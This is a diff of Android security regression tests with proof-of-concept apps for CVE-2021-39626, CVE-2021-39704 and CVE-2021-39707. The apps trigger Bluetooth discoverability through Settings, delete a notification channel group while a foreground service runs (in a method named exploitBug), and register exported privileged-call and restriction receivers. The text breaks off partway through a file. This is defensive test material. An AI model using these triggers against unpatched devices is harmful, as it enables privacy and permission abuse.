diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
index cd24540..6bb8d16 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -18,14 +18,15 @@
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeNotNull;
 import static org.junit.Assume.assumeTrue;
 
 import android.bluetooth.BluetoothAdapter;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
 import android.provider.Settings;
 
 import androidx.test.InstrumentationRegistry;
@@ -34,69 +35,121 @@
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.Until;
 
+import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
-    private static final int TIMEOUT = 5000;
-    private static Context context;
+    static final int TIMEOUT = 10000;
+    boolean mBtState = false;
+    BluetoothAdapter mBtAdapter;
+    Context mContext;
+    OnSharedPreferenceChangeListener mListener;
+    Resources mResources;
+    SharedPreferences mSharedPrefs;
+    Semaphore mPreferenceChanged;
+    UiDevice mDevice;
 
-    private static String getSettingsPkgName() {
+    private String getSettingsPkgName() {
         Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
         ComponentName settingsComponent =
-                settingsIntent.resolveActivity(context.getPackageManager());
+                settingsIntent.resolveActivity(mContext.getPackageManager());
         String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
-                : "com.android.settings";
-        assumeNotNull(pkgName);
+                : mContext.getString(R.string.defaultSettingsPkg);
         return pkgName;
     }
 
-    private void openApplication(String applicationName) {
-        Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
-        assumeNotNull(intent);
-        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+    @After
+    public void tearDown() {
         try {
-            context.startActivity(intent);
+            // Disable bluetooth if it was OFF before the test
+            if (!mBtState) {
+                Intent intent = new Intent(mContext, PocActivity.class);
+                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                intent.putExtra(mContext.getString(R.string.btAction),
+                        BluetoothAdapter.ACTION_REQUEST_DISABLE);
+                mContext.startActivity(intent);
+            }
+            mPreferenceChanged = new Semaphore(0);
+            mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS);
+            int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey),
+                    mResources.getInteger(R.integer.assumptionFailure));
+            String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey),
+                    mResources.getString(R.string.defaultSemaphoreMsg));
+
+            // Go to home screen
+            mDevice.pressHome();
         } catch (Exception e) {
-            assumeNoException(e);
+            // ignore the exception
         }
     }
 
     @Test
     public void testBtDiscoverable() {
-        // Initialize UiDevice instance
-        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        context = InstrumentationRegistry.getInstrumentation().getContext();
-        BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
-        assumeNotNull(btAdapter);
+        try {
+            // Initialize UiDevice instance
+            mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            mBtAdapter = BluetoothAdapter.getDefaultAdapter();
 
-        // Save the state of bluetooth adapter to reset after the test
-        boolean btState = btAdapter.isEnabled();
-        if (!btState) {
-            // If bluetooth is disabled, enable it and wait for adapter startup to complete
-            assumeTrue(btAdapter.enable());
-            try {
-                Thread.sleep(TIMEOUT);
-            } catch (Exception e) {
-                assumeNoException(e);
-            }
+            // Save the state of bluetooth adapter to reset after the test
+            mBtState = mBtAdapter.isEnabled();
+
+            // If bluetooth is disabled, enable it and wait for start activity to complete
+            Intent intent = new Intent(mContext, PocActivity.class);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.putExtra(mContext.getString(R.string.btAction),
+                    BluetoothAdapter.ACTION_REQUEST_ENABLE);
+            mContext.startActivity(intent);
+            mResources = mContext.getResources();
+
+            mSharedPrefs = mContext.getSharedPreferences(
+                    mResources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+            mPreferenceChanged = new Semaphore(0);
+            mListener = new OnSharedPreferenceChangeListener() {
+                @Override
+                public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+                        String key) {
+                    if (key.equals(mResources.getString(R.string.resultKey))) {
+                        mPreferenceChanged.release();
+                    }
+                }
+            };
+            mSharedPrefs.registerOnSharedPreferenceChangeListener(mListener);
+            mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS);
+
+            int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey),
+                    mResources.getInteger(R.integer.assumptionFailure));
+            String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey),
+                    mResources.getString(R.string.defaultSemaphoreMsg));
+            assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+            // Checking if bluetooth is enabled. The test requires bluetooth to be enabled,
+            // assumption failing the test if it's not enabled
+            assumeTrue(mBtAdapter.isEnabled());
+
+            // Launch bluetooth settings which is supposed to set scan mode to
+            // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is active
+            intent = new Intent();
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            String settingsPkg = getSettingsPkgName();
+            intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
+            mContext.startActivity(intent);
+
+            assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT));
+
+            boolean isBtDiscoverable = false;
+            isBtDiscoverable =
+                    (mBtAdapter.getScanMode() == mBtAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+            // The test fails if bluetooth is made discoverable through PoC
+            assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
+        } catch (Exception e) {
+            assumeNoException(e);
         }
-        assumeTrue(btAdapter.isEnabled());
-
-        // Launch the PoC application and ensure that it launches bluetooth settings
-        openApplication(context.getPackageName());
-        assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
-
-        boolean isBtDiscoverable =
-                (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
-
-        // Disable bluetooth if it was OFF before the test
-        if (!btState) {
-            btAdapter.disable();
-        }
-
-        // The test fails if bluetooth is made discoverable through PoC
-        assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
index d4425ff..9a43cd1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -16,24 +16,88 @@
 
 package android.security.cts.CVE_2021_39626;
 
-import static org.junit.Assume.assumeNoException;
-
 import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
 import android.os.Bundle;
-import android.provider.Settings;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
 
 public class PocActivity extends Activity {
+    private static final int TIMEOUT = 5000;
+    private static final int REQUEST_ENABLE_BT = 1;
+    private static final int REQUEST_DISABLE_BT = 2;
+
+    int getInteger(@IntegerRes int resId) {
+        return getResources().getInteger(resId);
+    }
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        Intent intent = new Intent();
-        intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
         try {
-            startActivity(intent);
+            String action = getIntent().getStringExtra(getString(R.string.btAction));
+            UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+            BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
+            int code = REQUEST_ENABLE_BT;
+            if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
+                code = REQUEST_DISABLE_BT;
+            }
+
+            if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
+                    && !bluetoothAdapter.isEnabled())
+                    || (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
+                            && bluetoothAdapter.isEnabled())) {
+                Intent enableBtIntent = new Intent(action);
+                startActivityForResult(enableBtIntent, code);
+
+                // Wait for the activity to appear and the allow button
+                device.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
+                        TIMEOUT);
+
+                // Click on the allow button
+                UiObject2 object =
+                        device.findObject(By.res(getString(R.string.allowButtonResName)));
+                object.click();
+            } else {
+                sendTestResult(getInteger(R.integer.pass), "");
+                finish();
+                return;
+            }
         } catch (Exception e) {
-            assumeNoException(e);
+            sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+            return;
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_ENABLE_BT && resultCode == Activity.RESULT_OK) {
+            finish();
+            sendTestResult(getInteger(R.integer.enabled), "");
+        } else if (requestCode == REQUEST_DISABLE_BT && resultCode == Activity.RESULT_OK) {
+            finish();
+            sendTestResult(getInteger(R.integer.disabled), "");
+        }
+    }
+
+    private void sendTestResult(int result, String message) {
+        SharedPreferences sh =
+                getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+        if (sh != null) {
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey), result);
+            edit.putString(getString(R.string.messageKey), message);
+            edit.commit();
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
new file mode 100644
index 0000000..044a5f5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39704",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
new file mode 100644
index 0000000..70b7a73
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39704">
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <application
+        android:supportsRtl="true">
+        <service
+            android:name=".PocService"
+            android:exported="true">
+        </service>
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+            android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.security.cts.CVE_2021_39704" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
new file mode 100644
index 0000000..ec924a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <integer name="pass">2</integer>
+    <integer name="timeoutMs">5000</integer>
+    <integer name="assumptionFailure">3</integer>
+    <integer name="fail">1</integer>
+    <integer name="width">50</integer>
+    <integer name="height">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
new file mode 100644
index 0000000..ab82c01
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="channel">channel</string>
+    <string name="failMessage">Failed to open </string>
+    <string name="group">group</string>
+    <string name="groupId">groupId</string>
+    <string name="messageKey">messageKey</string>
+    <string name="passMessage">Passed</string>
+    <string name="resultKey">resultKey</string>
+    <string name="sharedPreference">sharedPreference</string>
+    <string name="vulnerableMessage">Vulnerable to b/209965481</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
new file mode 100644
index 0000000..6336229
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.Semaphore;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testdeleteNotificationChannelGroup() {
+        try {
+            Context context = getApplicationContext();
+            PackageManager packageManager = context.getPackageManager();
+            Intent intent = packageManager
+                    .getLaunchIntentForPackage(context.getPackageName());
+            intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
+            context.startActivity(intent);
+            SharedPreferences sh = context.getSharedPreferences(
+                    context.getString(R.string.sharedPreference),
+                    Context.MODE_APPEND);
+            final Semaphore preferenceChanged = new Semaphore(0);
+            OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+                @Override
+                public void onSharedPreferenceChanged(
+                        SharedPreferences sharedPreferences, String key) {
+                    if (key.equals(context.getString(R.string.resultKey))) {
+                        if (sharedPreferences.getInt(key, 0) == context
+                                .getResources().getInteger(R.integer.pass)) {
+                            preferenceChanged.release();
+                        }
+                    }
+                }
+            };
+            sh.registerOnSharedPreferenceChangeListener(listener);
+            preferenceChanged.tryAcquire(
+                    context.getResources().getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS);
+
+            int result = sh.getInt(context.getString(R.string.resultKey),
+                    context.getResources().getInteger(R.integer.pass));
+            String message = sh.getString(
+                    context.getString(R.string.messageKey),
+                    context.getString(R.string.passMessage));
+            assumeTrue(message, result != context.getResources()
+                    .getInteger(R.integer.assumptionFailure));
+            assertNotEquals(message, result,
+                    context.getResources().getInteger(R.integer.fail));
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
new file mode 100644
index 0000000..60ce757
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Activity;
+import android.Manifest;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+//PocActitvity is required because requestPermissions needs to implemented to request location permission.
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            if (this.checkCallingOrSelfPermission(
+                Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
+                startForegroundService(new Intent(this, PocService.class));
+                this.requestPermissions(
+                        new String[] {
+                                Manifest.permission.ACCESS_COARSE_LOCATION },0);
+            }
+        } catch (Exception e) {
+            setExceptionStatus(e.toString(),
+                    getResources().getInteger(R.integer.assumptionFailure));
+        }
+    }
+
+    private void setExceptionStatus(String message, int status) {
+        try {
+            SharedPreferences sh = getSharedPreferences(
+                    getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey), status);
+            edit.putString(getString(R.string.messageKey), message);
+            edit.commit();
+        } catch (Exception e) {
+            // ignore exception
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
new file mode 100644
index 0000000..23303c3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.content.SharedPreferences;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+
+//PocService is needed to build the notification when the service starts.
+public class PocService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        try {
+            exploitBug();
+            super.onCreate();
+        } catch (Exception e) {
+            setResult(getResources().getInteger(R.integer.assumptionFailure),
+                    e.getMessage());
+        }
+    }
+
+    void exploitBug() {
+        try {
+            final NotificationManager notificationManager = getSystemService(
+                    NotificationManager.class);
+            final String id = getString(R.string.channel);
+            final String groupId = getString(R.string.groupId);
+            notificationManager.createNotificationChannelGroup(
+                    new NotificationChannelGroup(groupId,
+                            getString(R.string.group)));
+            NotificationChannel notificationChannel = new NotificationChannel(
+                    id, id, NotificationManager.IMPORTANCE_HIGH);
+            notificationChannel.setGroup(groupId);
+            notificationManager.createNotificationChannel(notificationChannel);
+            Notification notification = new Notification.Builder(this, id)
+                    .setSmallIcon(createNotificationIcon()).build();
+            startForeground(1, notification);
+            setResult(getResources().getInteger(R.integer.fail),
+                    getString(R.string.vulnerableMessage));
+            notificationManager.deleteNotificationChannelGroup(groupId);
+            setResult(getResources().getInteger(R.integer.fail),
+                    getString(R.string.vulnerableMessage));
+        } catch (SecurityException e) {
+            setResult(getResources().getInteger(R.integer.pass),
+                    getString(R.string.passMessage));
+        }
+    }
+
+    private void setResult(int result, String message) {
+        try {
+            SharedPreferences sh = getSharedPreferences(
+                    getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey), result);
+            edit.putString(getString(R.string.messageKey), message);
+            edit.commit();
+        } catch (Exception e) {
+            // ignore exception
+        }
+    }
+
+    Icon createNotificationIcon() {
+        Resources resources = getResources();
+        Bitmap testBitmap = Bitmap.createBitmap(
+                resources.getInteger(R.integer.width),
+                resources.getInteger(R.integer.height),
+                Bitmap.Config.ARGB_8888);
+        final Canvas canvas = new Canvas(testBitmap);
+        canvas.drawColor(Color.BLUE);
+        return Icon.createWithBitmap(testBitmap);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
new file mode 100644
index 0000000..517619a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39707",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
new file mode 100644
index 0000000..bfb3943
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2021_39707">
+    <application android:label="@string/testAppLabel">
+        <receiver android:name=".PocReceiver"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+            </intent-filter>
+        </receiver>
+        <activity android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.CALL_PRIVILEGED" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="tel" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39707" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
new file mode 100644
index 0000000..902f48c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+    <string name="defaultSettingsPkgName">com.android.settings</string>
+    <string name="resTestAppIcon">%1$s:id/app_restrictions_settings</string>
+    <string name="testAppLabel">CVE-2021-39707</string>
+    <string name="testFailMsg">Device is vulnerable to b/200688991!!</string>
+    <string name="textAppContentAccess">App &amp; content access</string>
+    <string name="textRestrictedUser">CVE_2021_39707_RestrictedUser</string>
+    <string name="timedOutMsg">Timed out waiting for text/res \'%1$s\' on display</string>
+    <string name="uriData">tel:555-TEST</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
new file mode 100644
index 0000000..db3acb0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
